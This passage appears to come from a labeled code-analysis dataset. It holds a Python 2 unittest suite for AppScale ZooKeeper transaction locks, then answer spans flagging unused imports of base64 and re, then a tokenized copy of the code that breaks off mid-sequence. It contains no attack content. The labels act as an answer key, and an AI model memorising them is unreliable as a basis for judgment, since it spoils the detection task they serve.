'___EOS___']", "index": 69 }, { "content": " def test_lockafterrelease(self):\n app = \"testapp\"\n key = \"root\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)\n try:\n ret = self.zk.acquire_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_INVALID, e.getType())", "metadata": "root.TestZKTransaction.test_lockafterrelease", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 86 }, { "content": " def test_lockinvalidid(self):\n app = \"testapp\"\n key = \"root\"\n txid = 99999L\n try:\n self.zk.acquire_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_INVALID, e.getType())", "metadata": "root.TestZKTransaction.test_lockinvalidid", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 102 }, { "content": " def test_lock1000(self):\n app = \"testapp\"\n key = \"root\"\n for ii in range(1,1000):\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_lock1000", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 113 }, { "content": " def test_releaseinvalidid(self):\n app = \"testapp\"\n key = \"root\"\n txid = 99999L\n try:\n self.zk.release_lock(app, txid)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_INVALID, e.getType())", "metadata": "root.TestZKTransaction.test_releaseinvalidid", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 124 }, { "content": " def test_releasewithoutlock(self):\n app = \"testapp\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.release_lock(app, txid)\n self.assertFalse(ret)", "metadata": "root.TestZKTransaction.test_releasewithoutlock", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 135 }, { "content": " def test_releasedifferentkey(self):\n app = \"testapp\"\n key = \"root\"\n key2 = \"root2\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n try:\n ret = self.zk.release_lock(app, txid, key2)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_DIFFERENT_ROOTKEY, e.getType())\n ret = self.zk.release_lock(app, txid, key)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.test_releasedifferentkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 142 }, { "content": " def test_generateid(self):\n app = \"testapp\"\n key = \"root\"\n (id, block) = self.zk.generateIDBlock(app, key)\n print \"id=%d, block=%d\" % (id, block)\n self.assertTrue(id >= 0)\n self.assertTrue(block > 0)", "metadata": "root.TestZKTransaction.test_generateid", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 159 }, { "content": " def test_generateid_pathkey(self):\n app = \"testapp\"\n key = \"/root/child\"\n (id, block) = self.zk.generateIDBlock(app, key)\n print \"id=%d, block=%d\" % (id, block)\n self.assertTrue(id >= 0)\n self.assertTrue(block > 0)", "metadata": "root.TestZKTransaction.test_generateid_pathkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 167 }, { "content": " def test_generateid_specialcharacterkey(self):\n app = \"testapp\"\n key = \"!@#$%^&*()-=_+[]{}\\\\|~`;:\\\"',.<>/?\"\n (id, block) = self.zk.generateIDBlock(app, key)\n print \"id=%d, block=%d\" % (id, block)\n self.assertTrue(id >= 0)\n self.assertTrue(block > 0)", "metadata": "root.TestZKTransaction.test_generateid_specialcharacterkey", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 175 }, { "content": " def test_generateid_twoblocks(self):\n app = \"testapp\"\n key = \"root\"\n (id, block) = self.zk.generateIDBlock(app, key)\n print \"id=%d, block=%d\" % (id, block)\n self.assertTrue(id >= 0)\n self.assertTrue(block > 0)\n (nextid, block) = self.zk.generateIDBlock(app, key)\n print \"id=%d, block=%d\" % (nextid, block)\n self.assertTrue(nextid >= 0)\n self.assertTrue(nextid > id)\n self.assertTrue(block > 0)", "metadata": "root.TestZKTransaction.test_generateid_twoblocks", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 183 }, { "content": " def test_lockmultithread(self):\n self.valueA = 10\n tlist = []\n for i in range(5):\n thread = threading.Thread(target = self.__increaseA)\n thread.start()\n tlist.append(thread)\n thread = threading.Thread(target = self.__decreaseA)\n thread.start()\n tlist.append(thread)\n\n for t in tlist:\n t.join()\n\n self.assertEqual(10, self.valueA)", "metadata": "root.TestZKTransaction.test_lockmultithread", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 196 }, { "content": " def test_lockmultithread_differentkeys(self):\n self.valueA = 10\n self.valueB = 10\n tlist = []\n for i in range(5):\n thread = threading.Thread(target = self.__increaseA)\n thread.start()\n tlist.append(thread)\n thread = threading.Thread(target = self.__decreaseA)\n thread.start()\n tlist.append(thread)\n\n for i in range(5):\n thread = threading.Thread(target = self.__increaseB)\n thread.start()\n tlist.append(thread)\n thread = threading.Thread(target = self.__decreaseB)\n thread.start()\n tlist.append(thread)\n\n for t in tlist:\n t.join()\n\n self.assertEqual(10, self.valueA)\n self.assertEqual(10, self.valueB)", "metadata": "root.TestZKTransaction.test_lockmultithread_differentkeys", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 212 }, { "content": " def __increaseA(self):\n app = \"testapp\"\n key = \"roota\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n while not self.zk.acquire_lock(app, txid, key):\n time.sleep(0.1)\n print \"start increaseA %s\" % threading.currentThread()\n tmp = self.valueA\n # make conflict between threads.\n time.sleep(0.5)\n self.valueA = tmp + 1\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.__increaseA", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 238 }, { "content": " def __increaseB(self):\n app = \"testapp\"\n key = \"rootb\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n while not self.zk.acquire_lock(app, txid, key):\n time.sleep(0.1)\n print \"start increaseB %s\" % threading.currentThread()\n tmp = self.valueB\n # make conflict between threads.\n# time.sleep(0.5)\n self.valueB = tmp + 1\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.__increaseB", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 253 }, { "content": " def __decreaseA(self):\n app = \"testapp\"\n key = \"roota\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n while not self.zk.acquire_lock(app, txid, key):\n time.sleep(0.1)\n print \"start decreaseA %s\" % threading.currentThread()\n tmp = self.valueA\n # make conflict between threads.\n time.sleep(0.5)\n self.valueA = tmp - 1\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.__decreaseA", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 268 }, { "content": " def __decreaseB(self):\n app = \"testapp\"\n key = \"rootb\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n while not self.zk.acquire_lock(app, txid, key):\n time.sleep(0.1)\n print \"start decreaseB %s\" % threading.currentThread()\n tmp = self.valueB\n # make conflict between threads.\n# time.sleep(0.5)\n self.valueB = tmp - 1\n ret = self.zk.release_lock(app, txid)\n self.assertTrue(ret)", "metadata": "root.TestZKTransaction.__decreaseB", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 283 }, { "content": " def __lockonlyB(self):\n app = \"testapp\"\n key = \"rootb\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n while not self.zk.acquire_lock(app, txid, key):\n time.sleep(0.1)", "metadata": "root.TestZKTransaction.__lockonlyB", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 298 }, { "content": " def test_gcsimple(self):\n # timeout very fast\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 1\n zkappscale.zktransaction.GC_INTERVAL = 1\n# self.zk.setRollbackFunction(self.__rollbackReceiver)\n # restart gc thread\n self.keylist = None\n self.zk.startGC()\n\n app = \"testapp\"\n key = \"gctestkey\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n # wait for gc\n time.sleep(5)\n self.assertTrue(self.zk.is_blacklisted(app, txid))\n try:\n self.zk.release_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_EXPIRED, e.getType())\n try:\n self.zk.acquire_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_EXPIRED, e.getType())\n\n# self.assertEqual(txid, self.txid)\n# self.assertEqual(key, self.rootkey)\n# self.assertEqual([], self.keylist)\n\n # revert settings\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 30\n zkappscale.zktransaction.GC_INTERVAL = 30\n# self.zk.setRollbackFunction(None)\n self.zk.startGC()", "metadata": "root.TestZKTransaction.test_gcsimple", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 306 }, { "content": " def test_gcwithkeylist(self):\n # timeout very fast\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 1\n zkappscale.zktransaction.GC_INTERVAL = 1\n# self.zk.setRollbackFunction(self.__rollbackReceiver)\n # restart gc thread\n self.keylist = None\n self.zk.startGC()\n\n app = \"testapp\"\n key = \"gctestkey\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n vid = 100L\n self.zk.register_updated_key(app, txid, vid, key + \"/a\")\n # wait for gc\n time.sleep(5)\n self.assertTrue(self.zk.is_blacklisted(app, txid))\n try:\n self.zk.release_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_EXPIRED, e.getType())\n try:\n self.zk.acquire_lock(app, txid, key)\n self.fail()\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_EXPIRED, e.getType())\n\n# self.assertEqual(app, self.app_id)\n# self.assertEqual(txid, self.txid)\n# self.assertEqual(key, self.rootkey)\n# self.assertTrue(self.keylist.index(\"a\") >= 0)\n# self.assertTrue(self.keylist.index(\"b\") >= 0)\n\n # revert settings\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 30\n zkappscale.zktransaction.GC_INTERVAL = 30\n# self.zk.setRollbackFunction(None)\n self.zk.startGC()", "metadata": "root.TestZKTransaction.test_gcwithkeylist", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 349 }, { "content": " def test_gcreleaselock(self):\n # timeout very fast\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 1\n zkappscale.zktransaction.GC_INTERVAL = 1\n# self.zk.setRollbackFunction(self.__rollbackReceiver)\n # restart gc thread\n self.keylist = None\n self.zk.startGC()\n\n self.valueB = 1\n\n tlock = threading.Thread(target = self.__lockonlyB)\n tlock.start()\n time.sleep(1.5)\n\n # this will be executed after gc\n tincrease = threading.Thread(target = self.__increaseB)\n tincrease.start()\n\n tlock.join()\n tincrease.join()\n\n self.assertEqual(2, self.valueB)\n\n # revert settings\n# self.zk.stopGC()\n zkappscale.zktransaction.TX_TIMEOUT = 30\n zkappscale.zktransaction.GC_INTERVAL = 30\n# self.zk.setRollbackFunction(None)\n self.zk.startGC()", "metadata": "root.TestZKTransaction.test_gcreleaselock", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 396 }, { "content": " def __rollbackReceiver(self, app_id, txid, rootkey, keylist):\n print \"rollback called. app=%s, txid=%s, rootkey=%s, keylist=%s\" % (app_id, txid, rootkey, keylist)\n self.app_id = app_id\n self.txid = txid\n self.rootkey = rootkey\n self.keylist = keylist", "metadata": "root.TestZKTransaction.__rollbackReceiver", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 428 }, { "content": " def test_rollback(self):\n app = \"testapp\"\n key = \"root\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n ret = self.zk.notify_failed_transaction(app, txid)\n self.assertTrue(ret)\n self.assertTrue(self.zk.is_blacklisted(app, txid))\n try:\n ret = self.zk.release_lock(app, txid)\n self.fail\n except zkappscale.zktransaction.ZKTransactionException as e:\n print e\n self.assertEqual(zkappscale.zktransaction.ZKTransactionException.TYPE_EXPIRED, e.getType())", "metadata": "root.TestZKTransaction.test_rollback", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 435 }, { "content": " def test_updateafterrollback(self):\n app = \"testapp\"\n key = \"root\"\n txid = self.zk.get_transaction_id(app)\n self.assertTrue(txid > 0)\n ret = self.zk.acquire_lock(app, txid, key)\n self.assertTrue(ret)\n vid = 0L\n self.zk.register_updated_key(app, txid, vid, key + \"/a\")\n ret = self.zk.notify_failed_transaction(app, txid)\n self.assertTrue(ret)\n self.assertTrue(self.zk.is_blacklisted(app, txid))\n\n # update value after rollback\n txid2 = self.zk.get_transaction_id(app)\n self.assertTrue(txid2 > 0)\n ret = self.zk.acquire_lock(app, txid2, key)\n self.assertTrue(ret)\n # get previous valid id\n ret = self.zk.get_valid_transaction_id(app, txid, key + \"/a\")\n self.assertEqual(vid, ret)\n # update previous valid id\n vid = 100L\n self.zk.register_updated_key(app, txid2, vid, key + \"/a\")\n # try to get updated previous valid id\n ret = self.zk.get_valid_transaction_id(app, txid, key + \"/a\")\n self.assertEqual(vid, ret)\n self.assertTrue(self.zk.release_lock(app, txid2))", "metadata": "root.TestZKTransaction.test_updateafterrollback", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 452 }, { "content": " def setUp(self):\n global zkconnection\n self.zk = zkconnection", "metadata": "root.TestZKTransaction.setUp", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 481 }, { "content": " def tearDown(self):\n # for debug\n self.zk.dump_tree(\"/appscale/apps\")", "metadata": "root.TestZKTransaction.tearDown", "header": "['class', 'TestZKTransaction', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 485 } ]
[ { "span": "import base64", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 13 }, { "span": "import re", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test_", "import_", "test\\u", "support_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dbco", "nsta", "nts_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zk", "apps", "cale_", "._", "zk", "transaction_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "zk", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "connection_", "=_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transaction_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "sys_", "._", "argv_", ")_", ">_", "1_", "and_", "sys_", "._", "argv_", "[_", "1_", "]_", "==_", "\"", "dump", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk", "connection_", "._", "dump", "\\u", "tree_", "(_", "\"/", "apps", "cale", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk", "connection_", "._", "delete", "Recursive", "_", "(_", "\"/", "apps", "cale", "/", "apps", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "support_", "._", "run", "\\u", "unittest_", "(_", "Test", "ZK", "Transaction_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "zk", "connection_", "._", "close_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "get", "Transa", "ction", "Id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "path", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"/", "root", "/", "child", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "special", "chara", "pp_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"!", "@#", "$%", "^", "&*", "()", "-=", "\\u", "+[", "]{", "}\\\\", "\\\\|", "~", "`", ";", ":\\\\", "\"',", ".", "<>", "/?", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"!", "@#", "$%", "^", "&*", "()", "-=", "\\u", "+[", "]{", "}\\\\", "\\\\|", "~", "`", ";", ":\\\\", "\"',", ".", "<>", "/?", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "long", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"/", "root", "/", "child", "/", "loo", "oooo", "oooo", "oooo", "oooo", "oooo", "oooo", "oooo", "oooo", "oooo", "ong", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", 